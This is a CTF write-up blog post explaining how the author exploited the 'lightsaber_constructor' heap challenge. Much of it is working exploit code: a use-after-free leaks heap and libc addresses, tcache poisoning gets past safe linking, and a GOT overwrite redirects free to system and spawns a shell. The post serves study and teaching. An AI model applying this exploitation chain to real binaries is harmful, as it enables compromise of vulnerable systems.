s3mme

FlagWars 2026 - Lightsaber Constructor

s3mme — Wed, 01 Apr 2026 00:00:00 +0000

Last weekend, I attended Flagwars 2026, an in-person CTF event organized by Laokoon, IBM, and CGI. It had been almost two years since I last played a Jeopardy CTF, so it was great to play again. It was even better because it was an in-person event, and I went with three friends.

During CTFs, I usually take notes on my methodology and try to write an exploit script (at least for pwning). However, this time I wanted to write a complete blog post about one of the pwning challenges to solidify my knowledge, because I had to do a lot of research and ask some of our favorite AI friends for help to capture this flag.

Since I've had great success with this method of knowledge retention in uni, I decided to use the same approach (or rather Feynman's</a>) to really understand what was going on in the exploit.

tl;dr: Use-After-Free -> Tcache Poisoning -> GOT Overwrite </blockquote>

Reconnaissance</a></h1>

This was the second pwning challenge in this CTF, called lightsaber_constructor</code>, which was affected by a Use-After-Free vulnerability.

We're given lightsaber_constructor</code>, libc.so.6</code>, and ld-linux-x86-64.so.2</code>, where the last two give us information about the libc version the binary runs on, which is glibc 2.39:


We can find out the linker's version via:</p>

./ld-linux-x86-64.so.2</span> --version
</span>ld.so</span> (Ubuntu GLIBC 2.39-0ubuntu8.7) </span>stable</span> release version 2.39.
</span># [...]
</span></code></pre>
</blockquote>
The lightsaber_constructor</code> binary is a menu-driven ELF64, themed as a lightsaber workshop. A Jedi can construct</strong>, destroy</strong>, inspect</strong>, modify</strong>, and ignite</strong> lightsabers. Under the hood, each saber is a heap-allocated object of 0x8C</code> (140) bytes.</p>
saber </span>= </span>(</span>int </span>*</span>)</span>malloc</span>(</span>0x8c</span>);
</span>if </span>(saber </span>== </span>(</span>int </span>*</span>)</span>0x0</span>) {
</span>	</span>puts</span>(</span>"</span>[-] Allocation failed.</span>"</span>);
</span>}
</span></code></pre>
=> cf. Appendix</a> for the complete function.</p>
When checking out the binary's security settings two properties stand out:</p>
></span> checksec </span>lightsaber_constructor
</span>    </span>Arch:</span>       amd64-64-little
</span>    </span>RELRO:</span>      Partial RELRO
</span>    </span>Stack:</span>      Canary found
</span>    </span>NX:</span>         NX enabled
</span>    </span>PIE:</span>        No PIE (0x400000)
</span>    </span>SHSTK:</span>      Enabled
</span>    </span>IBT:</span>        Enabled
</span>    </span>Stripped:</span>   No
</span></code></pre>
Namely:</p>

No PIE</code>, which allows us to operate on fixed base addresses</li>
Partial RELRO</code>, which means the Global Offset Table</a> (.got.plt</code>) is writable</li>
</ul>
The application manages up to 16 lightsabers stored in a global inventory[]</code> array with a saber_count</code>. Each saber is a malloc(140)</code> chunk laid out as:</p>
Offset  Field         Size
</span>0x00    name          128 bytes
</span>0x80    crystal       4 bytes (uint32)
</span>0x84    length        4 bytes (uint32)
</span>0x88    status        4 bytes (0=dormant, 1=ignited)
</span></code></pre>
The allocator rounds malloc(140)</code> up to a 0xA0</code>-byte chunk (140 + 16 bytes of
chunk header = 156, rounded to 160 = 0xA0</code> for WORD-alignment</a>).</p>

Spotting the Bug</a></h1>
The bug is in the destroy()</code> function:</p>
void </span>destroy</span>(</span>void</span>) {
</span>	</span>// [...]
</span>	</span>if </span>((uVar1 </span><</span> saber_count) </span>&& </span>(</span>*</span>(</span>long </span>*</span>)(inventory </span>+ </span>(ulong)uVar1 </span>* </span>8</span>) </span>!= </span>0</span>)) {
</span>		</span>free</span>(</span>*</span>(</span>void </span>**</span>)(inventory </span>+ </span>(ulong)uVar1 </span>* </span>8</span>));
</span>		</span>puts</span>(</span>"</span>[+] Destroyed.</span>"</span>);
</span>	}
</span>	</span>// [...]
</span>}
</span></code></pre>
The if</code> body frees the chunk via free()</code>, but the pointer is never nulled.
Now, looking at the uses of this pointer inside inspect()</code> and modify()</code>:</p>
// inspect
</span>if </span>((idx </span><</span> saber_count) </span>&& </span>(</span>*</span>(</span>long </span>*</span>)(inventory </span>+ </span>(ulong)idx </span>* </span>8</span>) </span>!= </span>0</span>))
</span>    </span>printf</span>(</span>"</span>Name    : </span>%s\n</span>"</span>, ptr);  </span>// reads from ptr
</span>
</span>// modify
</span>if </span>((idx </span><</span> saber_count) </span>&& </span>(</span>*</span>(</span>long </span>*</span>)(inventory </span>+ </span>(ulong)idx </span>* </span>8</span>) </span>!= </span>0</span>))
</span>    </span>read_line</span>(ptr, </span>0x80</span>);            </span>// writes 128 bytes to ptr (which it reads from stdin)
</span>// see Appendix for `read_line`
</span></code></pre>
Both check if inventory[idx]</code> is non-zero, which will always be the case because destroy()</code> does not edit the freed memory. This means that our remaining menu options inspect()</code> and modify()</code> can still access and write to these addresses.</p>
This is a Use-after-Free (UaF)</em> vulnerability and gives us two distinct primitives:</p>

Use after Free Read</strong> via inspect(idx)</code></li>
Use after Free Write</strong> via modify(idx)</code></li>
</ul>
The UaF Read</strong> via inspect(idx)</code> happens because the function calls printf("%s", inventory[idx])</code> on the freed chunk. Since printf</code> with %s</code> prints bytes until it hits a null terminator, it leaks whatever the allocator has written.</p>
The UaF Write</strong> via modify(idx)</code> calls read_line(inventory[idx], 0x80)</code>, which writes up to 128 bytes of data into the freed chunk.
This lets us overwrite the thread local cache</em> (tcache)'s forward pointer</em> (fd</code>) with an arbitrary value, corrupting the free list maintained by the tcache.</p>
These two primitives allow us to write arbitrary data into arbitrary addresses in our binary.
This brings us to the design of our exploit.</p>
Exploitation Strategy</a></h1>
The Use-after-Free primitives allow us to read/write to different regions of memory. Because we need to redirect control flow but lack direct write access to the GOT, we chain together four steps:</p>

Fill up the tcache and use our primitives to leak heap metadata</li>
Use the heap allocator's logic to leak a libc address, in order to calculate the libc base address</li>
Use Tcache Poisoning to overwrite the GOT in our binary</li>
Call our modified function to gain a shell</li>
</ol>
Excursion: What is the tcache? What is tcache poisoning?</a></h2>
Thread Local Cache (tcache)</em></strong> is a per-thread cache introduced to speed up allocation and deallocation of small to medium-sized chunks.
It keeps a singly-linked list</strong> of bins of freed chunks for a set of sizes. fd</code> is the forward pointer inside this list.</p>
When a thread frees a chunk that fits a tcache and the corresponding bin isn't full, the chunk is pushed onto that bin’s stack. This avoids messing with the global malloc</code> state, increasing concurrency (by being thread-safe) and therefore speed.</p>
On allocation, malloc first checks the tcache bin for the requested size class; if a chunk is available it pops and returns it immediately, avoiding locks and expensive system calls.</p>
Tcache poisoning</strong> is a technique where we corrupt the fd</code> pointer of a freed tcache chunk to trick the allocator into returning a chunk at an arbitrary address. It works as follows:</p>

Normal state, tcache has freed chunks</li>
</ol>
head -> chunk_A -> chunk_B -> NULL
</span></code></pre>

Write &TARGET</code> at chunk_A's fd</code> pointer (via UaF-write, heap-overflow, ...)</li>
</ol>
head -> chunk_A -> TARGET -> ???
</span></code></pre>

The next malloc()</code> returns chunk_A</li>
</ol>
head -> TARGET -> ???
</span></code></pre>

The next malloc()</code> returns our written target:</li>
</ol>
x </span>= </span>malloc</span>() </span>// this returns our TARGET address
</span>write</span>(x, </span>"</span>payload</span>"</span>) </span>// writes payload at &TARGET
</span></code></pre>
Additional Hurdles</a></h2>
Before we can execute this strategy, there are two obstacles to address.</p>
First, we can't directly overwrite the GOT via tcache poisoning because the construct</code> function uses memset()</code> to zero out 140 bytes from our address. If we directly pass the GOT address to construct()</code>, we zero out a lot of the GOT, leading to a crash before our payload can be copied to the GOT.</p>
We circumvent that by using the inventory[]</code> array with construct()</code>. We then point it towards our GOT with our UaF primitives and change the memory via modify()</code> without having to unleash memset()</code> onto the GOT directly.</p>
The second hurdle is Safe Linking</em>, which is a security feature implemented since glibc 2.32. This causes the fd</code> pointer in the tcache to be obfuscated, making it more difficult to overwrite it with an arbitrary value.</p>
Here is the code snippet from malloc.c</code></a>:</p>
#define </span>PROTECT_PTR</span>(</span>pos</span>, </span>ptr</span>) \
</span>  ((</span>__typeof </span>(ptr)) ((((</span>size_t</span>) pos) </span>>> </span>12</span>) </span>^ </span>((</span>size_t</span>) ptr)))
</span>#define </span>REVEAL_PTR</span>(</span>ptr</span>)  </span>PROTECT_PTR </span>(</span>&</span>ptr, ptr)
</span></code></pre>

pos</code> is the address of the current chunk</li>
ptr</code> the location of the chunk we are pointing to

NULL</code> if the chunk is at the end of the list</li>
</ul>
</li>
</ul>
We can overcome that by inspecting the chunk at the end of the list. Because the ptr</code> of that chunk is NULL</code>, the XOR collapses to the key itself.</p>
The fd</code> in tcache's last chunk:</p>
(chunk0_addr >> 12) ^ NULL = chunk0_addr >> 12
</span></code></pre>
We can use inspect()</code> to leak this key as it calls printf("%s", ptr)</code>. Because the tcache uses the same key for the same bin, we can reuse this key later on.</p>
Putting it all together</a></h1>
Now, we should have everything our strategy requires to exploit this vulnerability, so let's put it together.</p>
Heap Feng Shui</a></h2>
First off, we need to allocate some memory on the heap.</p>
for </span>i </span>in </span>range</span>(</span>9</span>):
</span>    </span>construct</span>(</span>f</span>"</span>saber-</span>{i}</span>"</span>.</span>encode</span>())
</span></code></pre>

To make scripting easier, I've written helper functions, which perform the correct menu operation inside the binary, to minimize code duplication.</p>
</blockquote>
This gives us 9 contiguous 0xA0</code>-byte chunks on the heap. Saber 8 is a guard chunk</strong> that prevents the allocator from merging freed chunks with the top chunk.
Now, our heap looks like this:</p>



Heap Layout
</figcaption>
</figure>
Leak Heap key</a></h2>
Because the binary uses glibc 2.39-0ubuntu8.7</code>, we have to deal with the Safe Linking. Therefore, our first action is to free()</code> a chunk (via destroy()</code>) such that it moves into our tcache. When we instruct our program to read from the freed address (by supplying the same index), it returns the stored fd</code>, which holds our heap key!</p>
Its fd</code>:</p>
stored_fd = (chunk0_addr >> 12) ^ NULL = chunk0_addr >> 12
</span></code></pre>
Code Snippet:</p>
# free chunk 0 -> tcache (count=1)
</span>destroy</span>(</span>0</span>)
</span># UaF read tcache->fd
</span>name, </span>_</span>, </span>_</span>, </span>_ </span>= </span>inspect_saber</span>(</span>0</span>)
</span>heap_key </span>= </span>u64</span>(name.</span>ljust</span>(</span>8</span>, </span>b</span>"</span>\x00</span>"</span>))
</span></code></pre>
Note, that we use our name</code> from inspect()</code> because it's the first property and fd</code> is at the beginning of the metadata as well.
That's the first piece of our puzzle done, now, let's move onto libc.</p>
Libc leak</a></h2>
In order to overwrite our GOT with the addresses we need, we have to make out the libc addresses we need. And to do that, we need to calculate the libc base address.</p>
To do that, we free additional chunks such that our tcache fills up completely. The tcache holds up to seven memory regions per thread per allocation size</a>. Because we allocated the same sizes before, when we free 6 additional regions, the cache bin for size 0xA0</code> is full:</p>
for </span>i </span>in </span>range</span>(</span>1</span>, </span>7</span>):
</span>    </span>destroy</span>(i)
</span></code></pre>
The tcache bins looks like this now:</p>
head -> chunk6 -> chunk5 -> chunk4 -> ... -> chunk0 -> NULL
</span></code></pre>
Now, when we free an additional chunk of that size, it moves into the so-called unsorted bin</em>, which is a double linked list</em> that acts as a cache for memory, similar to the tcache. There are other types of bins (e.g. fast bin) but for brevity's sake we don't dive further onto why it lands into the unsorted bin.</p>
Because the unsorted bin was empty before, chunk 7 is the only entry inside this bin. This sets its list pointers fd</code> and bk</code> (keep in mind that unsorted bin is a double-linked list) to the same address, namely an address inside of main_arena</code> inside libc.</p>

You don't need to know what a memory/main arena is for this exploit, just understand that it's a fixed address inside of libc</p>
</blockquote>
Because the unsorted bin is not safe linked, this is the correct address already. We can read it with our UaF-read primitive from before:</p>
destroy</span>(</span>7</span>) </span># tcache full => chunk 7 goes to unsorted bin
</span>name, </span>_</span>, </span>_</span>, </span>_ </span>= </span>inspect_saber</span>(</span>7</span>) </span># UaF-read for `main_arena` address
</span>leak </span>= </span>u64</span>(name.</span>ljust</span>(</span>8</span>, </span>b</span>"</span>\x00</span>"</span>))
</span></code></pre>
Running this locally once, we get the offset from the libc base-address and use that to calculate the libc base address of the remote process:</p>
UNSORTED_BIN_OFFSET </span>= </span>0x203b20 </span># calculated offset from local run
</span>libc.address </span>= </span>leak </span>- </span>UNSORTED_BIN_OFFSET
</span></code></pre>

See Appendix</a> on how this value was derived. An alternative is to inspect the binary run through a debugger.</p>
</blockquote>
Now, this allows us to calculate the address of every function in libc: system</code>, puts</code>, read</code>, and the "/bin/sh"</code> string embedded in libc.</p>
Tcache poisoning to hijack inventory</code></a></h2>
We now have a heap encryption key and the addresses of libc functions. How does that help us? We use the primitives we built to manipulate the data.</p>
Keep in mind that the tcache for size 0xA0</code> currently still looks like this:</p>
head -> chunk6 -> chunk5 -> chunk4 -> ... -> chunk0 -> NULL   (count=7)
</span></code></pre>
Chunk 6 is the current head and its safe-linked fd</code> points to chunk 5.
Since the binary has no PIE</a>, the inventory[]</code> array sits at a fixed address (0x4040a0</code>). We overwrite fd</code> with the encrypted pointer to it:</p>
xor_fd </span>= </span>inventory_addr </span>^ </span>heap_key      </span># 0x4040a0 ^ heap_key
</span>modify</span>(</span>6</span>, </span>p64</span>(xor_fd))
</span></code></pre>
The XOR key is the same because chunk 6 is in the same tcache bucket as our previous chunk 0.
After this write, the tcache thinks:</p>
head -> chunk6 -> xor'ed(0x4040a0) -> ???   (count=7)
</span></code></pre>

We can extract the address of inventory[]</code> via objdump</code> easily because the binary is not stripped and PIE is disabled:</p>
$</span> objdump</span> -D</span> lightsaber_constructor </span>| </span>grep</span> -i</span> inventory
</span>00000000004040a0 </span><</span>inventory</span>></span>:
</span></code></pre>
</blockquote>
Now we allocate memory (of size 0xA0</code>) twice:</p>
# malloc returns chunk6 address, address of `inventory` is now the tcache head
</span>construct</span>(</span>b</span>"</span>drain</span>"</span>, </span>0</span>, </span>0</span>)
</span># malloc returns inventory address
</span>construct</span>(inv_payload, </span>crystal</span>=</span>2</span>)
</span></code></pre>
The first allocation only drains chunk 6 from our tcache, while the second allocation is the important one. malloc()</code> returns 0x4040a0</code> (address of inventory[]</code>) due to our tcache poisoning.
Utilizing the memset()</code> function, the construct()</code> function zeros 140 bytes, clearing inventory[0-16]</code> (128 bytes) and 12 bytes beyond that, including saber_count</code>. Note, that the GOT is still intact because we did not touch it yet.</p>
Afterwards, construct()</code> writes our inv_payload</code> to our allocated address (i.e. inventory[]</code>):</p>
inv_payload </span>= </span>p64</span>(elf.got[</span>"</span>free</span>"</span>]) </span>+ </span>p64</span>(binsh)
</span></code></pre>
This writes free@GOT</code> (0x404000</code>) into inventory[0]</code> and the address of "/bin/sh"</code> in libc into inventory[1]</code>.</p>
Setting crystal</code> to 2 writes 2</code> to offset inventory+0x80</code>, which corresponds to saber_count</code>. At the end of construct()</code> it's incremented to 3.</p>
Now, the state of inventory is:</p>
inventory[0]    = 0x404000  (free@GOT)
</span>inventory[1]    = 0x7f...   (&"/bin/sh" in libc)
</span>inventory[2-15] = 0x00
</span>saber_count     = 3
</span></code></pre>
The program now believes it has three sabers. "Saber 0" points to free@GOT</code>, and "saber 1" points to the "/bin/sh"</code> string in libc. Both of these are in writable memory (.bss</code>), so modify()</code> and destroy()</code> will operate on them.</p>
GOT Overwrite: Redirecting free</code> to system</code></a></h2>
Remember, we work with a partial RELRO binary</a>, meaning that the .got.plt</code> section is mapped into a writable page.</p>

In a dynamically linked program, the Procedure Linkage Table (PLT)</a> stubs are responsible for resolving the function addresses and store them inside of the .got.plt</code> section. These stubs either jump to the right address, if it has been resolved before, or trigger the code in the linker to look up the address.</p>
</blockquote>
Since the GOT is writable, overwriting its entries redirects all future calls to that corresponding function. That means, writing system</code> over free</code> causes every free(ptr)</code> call to become system(ptr)</code>.</p>
We will exploit exactly this behavior in the following.</p>
To do so, recall that modify(0, content)</code> calls read_line(inventory[0], 0x80)</code>, which is read_line(free@GOT, 0x80)</code>. This writes up to 128 (= 0x80</code>) bytes from content</code> starting at free@GOT</code>.</p>
This allows us to overwrite the function pointer for free</code> with the pointer to system</code> via:</p>
got_payload  </span>= </span>p64</span>(libc.sym.system)
</span>got_payload </span>+= </span>b</span>"</span>\n</span>" </span># to stop read_line from reading our buffer
</span>modify</span>(</span>0</span>, got_payload)
</span></code></pre>
However, this alone crashes our exploit with a segfault because we overwrite part of the next function's address inside of the GOT with a null-byte. Next time this function will be called, we will try to access memory we aren't allowed to read.</p>
To fix that, we reconstruct our GOT in our payload. First, we need to get the order of the GOT, which we'll recover using the following snippet:</p>
from </span>pwn </span>import </span>*
</span>e </span>= </span>ELF</span>(</span>'</span>./lightsaber_constructor</span>'</span>)
</span>got_entries </span>= </span>sorted</span>([(v, k) </span>for </span>k, v </span>in </span>e.got.</span>items</span>()])
</span>for </span>addr, name </span>in </span>got_entries:
</span>  </span>print</span>(</span>f</span>'  </span>{</span>hex</span>(addr)}</span>: </span>{name}</span>'</span>)
</span></code></pre>
Which yields:</p>
$</span> python3 libc_order.py
</span>[...]
</span>  </span>0x403fd8:</span> __libc_start_main
</span>  </span>0x403fe0:</span> __gmon_start__
</span>  </span>0x404000:</span> free
</span>  </span>0x404008:</span> puts
</span>  </span>0x404010:</span> __stack_chk_fail
</span>  </span>0x404018:</span> printf
</span>  </span>0x404020:</span> memset
</span>  </span>0x404028:</span> read
</span>  </span>0x404030:</span> malloc
</span>  </span>0x404038:</span> setvbuf
</span>  </span>0x404040:</span> strtoul
</span>  </span>0x404048:</span> exit
</span>  </span>0x404060:</span> stdout
</span>  </span>0x404070:</span> stdin
</span>  </span>0x404080:</span> stderr
</span></code></pre>
This makes it clear that if we only overwrite system</code> the null terminator would land on puts@GOT</code>, crashing on the next puts()</code> which comes at the end of modify()</code> via puts("[+] Modified.")</code> (cf. Appendix</a>).</p>
This also tells us that the order of our functions should be:</p>
got_payload  </span>= </span>p64</span>(libc.sym.system) </span># free (replaced w/ system)
</span>got_payload </span>+= </span>p64</span>(libc.sym.puts)
</span>got_payload </span>+= </span>p64</span>(libc.sym.__stack_chk_fail)
</span>got_payload </span>+= </span>p64</span>(libc.sym.printf)
</span>got_payload </span>+= </span>p64</span>(libc.sym.memset)
</span>got_payload </span>+= </span>p64</span>(libc.sym.read)
</span>got_payload </span>+= </span>p64</span>(libc.sym.malloc)
</span>got_payload </span>+= </span>p64</span>(libc.sym.setvbuf)
</span>got_payload </span>+= </span>p64</span>(libc.sym.strtoul)
</span>got_payload </span>+= </span>p64</span>(libc.sym.exit)
</span>got_payload </span>+= </span>b</span>"</span>\n</span>"
</span>modify</span>(</span>0</span>, got_payload)
</span></code></pre>


We don't preserve std{in,out,err}</code> because these are not function pointers.</li>
We can null-terminate after exit</code> because stdout starts at 0x404060</code>, giving us (0x404060 - (0x404048 + 0x8) = 0x10</code> bytes of padding)</li>
Here, we could actually stop restoring the GOT after puts</code>, as no other function is called until the exploit completes. However, it's better to be thorough</li>
</ul>
</blockquote>
This writes 80 bytes (10 entries) into the address of inventory[0]</code>, i.e. free@GOT</code>.
That means the GOT now looks like:</p>
0x404000  free            ->  system          (overwritten!)
</span>0x404008  puts            ->  puts            (restored)
</span>0x404010  __stack_chk_fail -> __stack_chk_fail (restored)
</span>0x404018  printf          ->  printf          (restored)
</span>0x404020  memset          ->  memset          (restored)
</span>0x404028  read            ->  read            (restored)
</span>0x404030  malloc          ->  malloc          (restored)
</span>0x404038  setvbuf         ->  setvbuf         (restored)
</span>0x404040  strtoul         ->  strtoul         (restored)
</span>0x404048  exit            ->  exit            (restored)
</span>0x404050  (gap)           ->  \x00            (null terminator)
</span>0x404060  stdout          ->  (untouched)
</span>0x404070  stdin           ->  (untouched)
</span>0x404080  stderr          ->  (untouched)
</span></code></pre>
Trigger our payload</a></h2>
Everything should be prepared now and we have to trigger our payload. We do this by calling:</p>
destroy</span>(</span>1</span>)
</span></code></pre>
This calls free(inventory[1])</code> and because inventory[1]</code> points to libc's "/bin/sh"</code> string, it tries to call free("/bin/sh")</code>.</p>
Furthermore, because free@GOT</code> now contains system</code> we have the following flow:</p>
destroy</span>(</span>1</span>)
</span>  -> </span>free</span>(inventory[</span>1</span>])
</span>  -> </span>free</span>(</span>0x7f</span>...</span>cb42f) </span>// address of "/bin/sh" in libc
</span>  -> </span>system</span>(</span>0x7f</span>...</span>cb42f) </span>// GOT redirect
</span>  -> </span>system</span>(</span>"</span>/bin/sh</span>"</span>)
</span>  -> win
</span></code></pre>
Exploit output</a></h2>
Running our complete exploit yields a shell:</p>
> </span>python3 exploit.py
</span>[</span>*</span>] Allocating </span>9 </span>sabers </span>(indices </span>0</span>-</span>8</span>)
</span>[</span>*</span>] Free saber </span>0</span> → </span>tcache </span>(</span>count</span>=</span>1</span>), then inspect </span>for </span>heap leak
</span>[</span>+</span>] heap </span>key </span>(chunk</span>>></span>12</span>): </span>0x31bb1
</span>[</span>*</span>] Unsorted </span>bin </span>fd leak: </span>0x7bc8eee03b20
</span>[</span>+</span>] libc base : </span>0x7bc8eec00000
</span>[</span>+</span>] system    : </span>0x7bc8eec58750
</span>[</span>+</span>] </span>/</span>bin</span>/</span>sh   : </span>0x7bc8eedcb42f
</span>[</span>*</span>] Poisoning tcache fd </span>-> </span>inventory </span>@ </span>0x4040a0
</span>[</span>+</span>] inventory hijacked: [</span>0</span>]</span>=</span>free</span>@</span>GOT</span>, [</span>1</span>]</span>=&</span>'</span>/bin/sh</span>'
</span>[</span>+</span>] </span>GOT </span>overwritten: free </span>-> </span>system
</span>[</span>*</span>] </span>destroy</span>(</span>1</span>) </span>-> </span>free</span>(</span>&</span>'</span>/bin/sh</span>'</span>) </span>-> </span>system</span>(</span>'</span>/bin/sh</span>'</span>)
</span>[</span>+</span>] Shell triggered!
</span>$ </span>id
</span>uid</span>=</span>1000</span>(user) gid</span>=</span>1000</span>(user) ...
</span></code></pre>
Win!</p>
Conclusion</a></h1>
To summarize, this exploit chains together four key techniques: a UaF vulnerability</strong> which gives us read</strong> and write</strong> primitives on freed heap chunks. Heap feng shui</strong> lets us control which bins chunks land in, tcache poisoning</strong> tricks malloc</code> into returning an arbitrary address, and a GOT overwrite</strong> redirects free</code> to system</code>, turning free("/bin/sh")</code> into a shell.</p>
In the end writing this post taught me at least as much as solving the challenge did. During the CTF, a lot of the steps felt clumsy and did feel like brute-forcing the flag, but revisiting this without the time pressure forced me to understand why</em> each component worked, not just that</em> it worked. I ended up diving deeper into glibc</code> internals, safe linking, and GOT mechanics than I ever would have from just capturing the flag.</p>
If you want to chat about this challenge, or have comments you want to share, feel free to shoot me a message on your preferred channel :D</p>

Appendix</a></h1>
This section contains everything that would otherwise clutter the post itself.</p>
Lightsaber Functions</a></h2>
This section contains some of the important decompiled functions from the binary.</p>
construct</a></h3>
void </span>construct</span>(</span>void</span>) {
</span>  </span>int</span> iVar1;
</span>  </span>int </span>*</span>saber;
</span>  </span>uint</span> i;
</span>
</span>  i </span>=</span> saber_count;
</span>  </span>if </span>(saber_count </span>< </span>0x10</span>) {
</span>     saber </span>= </span>(</span>int </span>*</span>)</span>malloc</span>(</span>0x8c</span>);
</span>     </span>if </span>(saber </span>== </span>(</span>int </span>*</span>)</span>0x0</span>) {
</span>        </span>puts</span>(</span>"</span>[-] Allocation failed.</span>"</span>);
</span>     }
</span>     </span>else </span>{
</span>        </span>memset</span>(saber,</span>0</span>,</span>0x8c</span>);
</span>        </span>printf</span>(</span>"</span>[*] Name: </span>"</span>);
</span>        </span>read_line</span>(saber,</span>0x80</span>);
</span>        </span>printf</span>(</span>"</span>[*] Crystal [0=Red 1=Blue 2=Green 3=Purple 4=Yellow]: </span>"</span>);
</span>        iVar1 </span>= </span>read_uint</span>();
</span>        saber[</span>0x20</span>] </span>=</span> iVar1;
</span>        </span>if </span>(</span>4 </span>< </span>(</span>uint</span>)saber[</span>0x20</span>]) {
</span>           saber[</span>0x20</span>] </span>= </span>0</span>;
</span>        }
</span>        </span>printf</span>(</span>"</span>[*] Length (cm): </span>"</span>);
</span>        iVar1 </span>= </span>read_uint</span>();
</span>        saber[</span>0x21</span>] </span>=</span> iVar1;
</span>        </span>if </span>(</span>0x96 </span>< </span>(</span>uint</span>)saber[</span>0x21</span>]) {
</span>           saber[</span>0x21</span>] </span>= </span>0x96</span>;
</span>        }
</span>        saber[</span>0x22</span>] </span>= </span>0</span>;
</span>        </span>*</span>(</span>int </span>**</span>)(inventory </span>+ </span>(ulong)i </span>* </span>8</span>) </span>=</span> saber;
</span>        saber_count </span>=</span> saber_count </span>+ </span>1</span>;
</span>        </span>printf</span>(</span>"</span>[+] Lightsaber #</span>%u</span> constructed!</span>\n</span>"</span>,(ulong)i);
</span>     }
</span>  }
</span>  </span>else </span>{
</span>     </span>puts</span>(</span>"</span>[-] Inventory full, young Padawan.</span>"</span>);
</span>  }
</span>  </span>return</span>;
</span>}
</span></code></pre>
modify</a></h3>
void </span>modify</span>(</span>void</span>) {
</span>  </span>uint</span> idx;
</span>
</span>  </span>printf</span>(</span>"</span>[*] Index: </span>"</span>);
</span>  idx </span>= </span>read_uint</span>();
</span>  </span>if </span>((idx </span><</span> saber_count) </span>&& </span>(</span>*</span>(</span>long </span>*</span>)(inventory </span>+ </span>(ulong)idx </span>* </span>8</span>) </span>!= </span>0</span>)) {
</span>     </span>printf</span>(</span>"</span>[*] New data: </span>"</span>);
</span>     </span>read_line</span>(</span>*</span>(undefined8 </span>*</span>)(inventory </span>+ </span>(ulong)idx </span>* </span>8</span>),</span>0x80</span>);
</span>     </span>puts</span>(</span>"</span>[+] Modified.</span>"</span>);
</span>  }
</span>  </span>else </span>{
</span>     </span>puts</span>(</span>"</span>[-] Invalid.</span>"</span>);
</span>  }
</span>  </span>return</span>;
</span>}
</span></code></pre>
inspect</a></h3>
void </span>inspect</span>(</span>void</span>) {
</span>  </span>long</span> lVar1;
</span>  </span>uint</span> idx;
</span>  </span>char </span>*</span>pcVar2;
</span>
</span>  </span>printf</span>(</span>"</span>[*] Index: </span>"</span>);
</span>  idx </span>= </span>read_uint</span>();
</span>  </span>if </span>((idx </span><</span> saber_count) </span>&& </span>(</span>*</span>(</span>long </span>*</span>)(inventory </span>+ </span>(ulong)idx </span>* </span>8</span>) </span>!= </span>0</span>)) {
</span>     lVar1 </span>= *</span>(</span>long </span>*</span>)(inventory </span>+ </span>(ulong)idx </span>* </span>8</span>);
</span>     </span>printf</span>(</span>"</span>--- Lightsaber #</span>%u</span> ---</span>\n</span>"</span>,(ulong)idx);
</span>     </span>printf</span>(</span>"</span>Name    : </span>%s\n</span>"</span>,lVar1);
</span>     </span>printf</span>(</span>"</span>Crystal : </span>%u\n</span>"</span>,(ulong)</span>*</span>(</span>uint </span>*</span>)(lVar1 </span>+ </span>0x80</span>));
</span>     </span>printf</span>(</span>"</span>Length  : </span>%u</span> cm</span>\n</span>"</span>,(ulong)</span>*</span>(</span>uint </span>*</span>)(lVar1 </span>+ </span>0x84</span>));
</span>     </span>if </span>(</span>*</span>(</span>int </span>*</span>)(lVar1 </span>+ </span>0x88</span>) </span>== </span>0</span>) {
</span>        pcVar2 </span>= </span>"</span>dormant</span>"</span>;
</span>     }
</span>     </span>else </span>{
</span>        pcVar2 </span>= </span>"</span>IGNITED</span>"</span>;
</span>     }
</span>     </span>printf</span>(</span>"</span>Status  : </span>%s\n</span>"</span>,pcVar2);
</span>     </span>puts</span>(</span>"</span>---------------------</span>"</span>);
</span>  }
</span>  </span>else </span>{
</span>     </span>puts</span>(</span>"</span>[-] Invalid.</span>"</span>);
</span>  }
</span>  </span>return</span>;
</span>}
</span></code></pre>
destroy</a></h3>
void </span>destroy</span>(</span>void</span>) {
</span>  </span>uint</span> idx;
</span>
</span>  </span>printf</span>(</span>"</span>[*] Index: </span>"</span>);
</span>  idx </span>= </span>read_uint</span>();
</span>  </span>if </span>((idx </span><</span> saber_count) </span>&& </span>(</span>*</span>(</span>long </span>*</span>)(inventory </span>+ </span>(ulong)idx </span>* </span>8</span>) </span>!= </span>0</span>)) {
</span>     </span>free</span>(</span>*</span>(</span>void </span>**</span>)(inventory </span>+ </span>(ulong)idx </span>* </span>8</span>));
</span>     </span>puts</span>(</span>"</span>[+] Destroyed.</span>"</span>);
</span>  }
</span>  </span>else </span>{
</span>     </span>puts</span>(</span>"</span>[-] Invalid.</span>"</span>);
</span>  }
</span>  </span>return</span>;
</span>}
</span></code></pre>
read_line</a></h3>
void </span>read_line</span>(</span>void </span>*</span>param_1</span>,</span>long </span>param_2</span>) {
</span>  </span>ssize_t </span>sVar1</span>;
</span>
</span>  </span>sVar1 </span>= </span>read</span>(</span>0</span>,param_1,param_2 </span>- </span>1</span>);
</span>  </span>if </span>(</span>sVar1 </span>< </span>1</span>) {
</span>     </span>FUN_00401160</span>(</span>1</span>);
</span>  }
</span>  </span>else if </span>(</span>*</span>(</span>char </span>*</span>)((</span>long</span>)param_1 </span>+ </span>sVar1 </span>+ -</span>1</span>) </span>== </span>'</span>\n</span>'</span>) {
</span>     </span>*</span>(undefined </span>*</span>)((</span>long</span>)param_1 </span>+ </span>sVar1 </span>+ -</span>1</span>) </span>= </span>0</span>;
</span>     </span>return</span>;
</span>  }
</span>  </span>*</span>(undefined </span>*</span>)((</span>long</span>)param_1 </span>+ </span>sVar1</span>) </span>= </span>0</span>;
</span>  </span>return</span>;
</span>}
</span></code></pre>
Offset Calculation</a></h2>
The following script calculates the offset from an address inside main_arena to the libc base address.</p>
def </span>calculate_offset</span>():
</span>    log.</span>info</span>(</span>"</span>Calculating unsorted bin offset via /proc/pid/maps ...</span>"</span>)
</span>    </span># [...]
</span>    </span># First: Allocate 9 sabers
</span>    </span># Then: Free sabers 0-6 to fill the tcache
</span>    </span># [...]
</span>    </span>destroy</span>(</span>7</span>) </span># tcache full -> chunk 7 goes to unsorted bin
</span>    name, </span>_</span>, </span>_</span>, </span>_ </span>= </span>inspect_saber</span>(</span>7</span>) </span># UaF-read for `main_arena` address
</span>    leak </span>= </span>u64</span>(name.</span>ljust</span>(</span>8</span>, </span>b</span>"</span>\x00</span>"</span>))
</span>
</span>    </span># Read actual libc base from /proc/pid/maps
</span>    </span>with </span>open</span>(</span>f</span>"</span>/proc/</span>{cal.pid}</span>/maps</span>"</span>) </span>as </span>f:
</span>        </span>for </span>line </span>in </span>f:
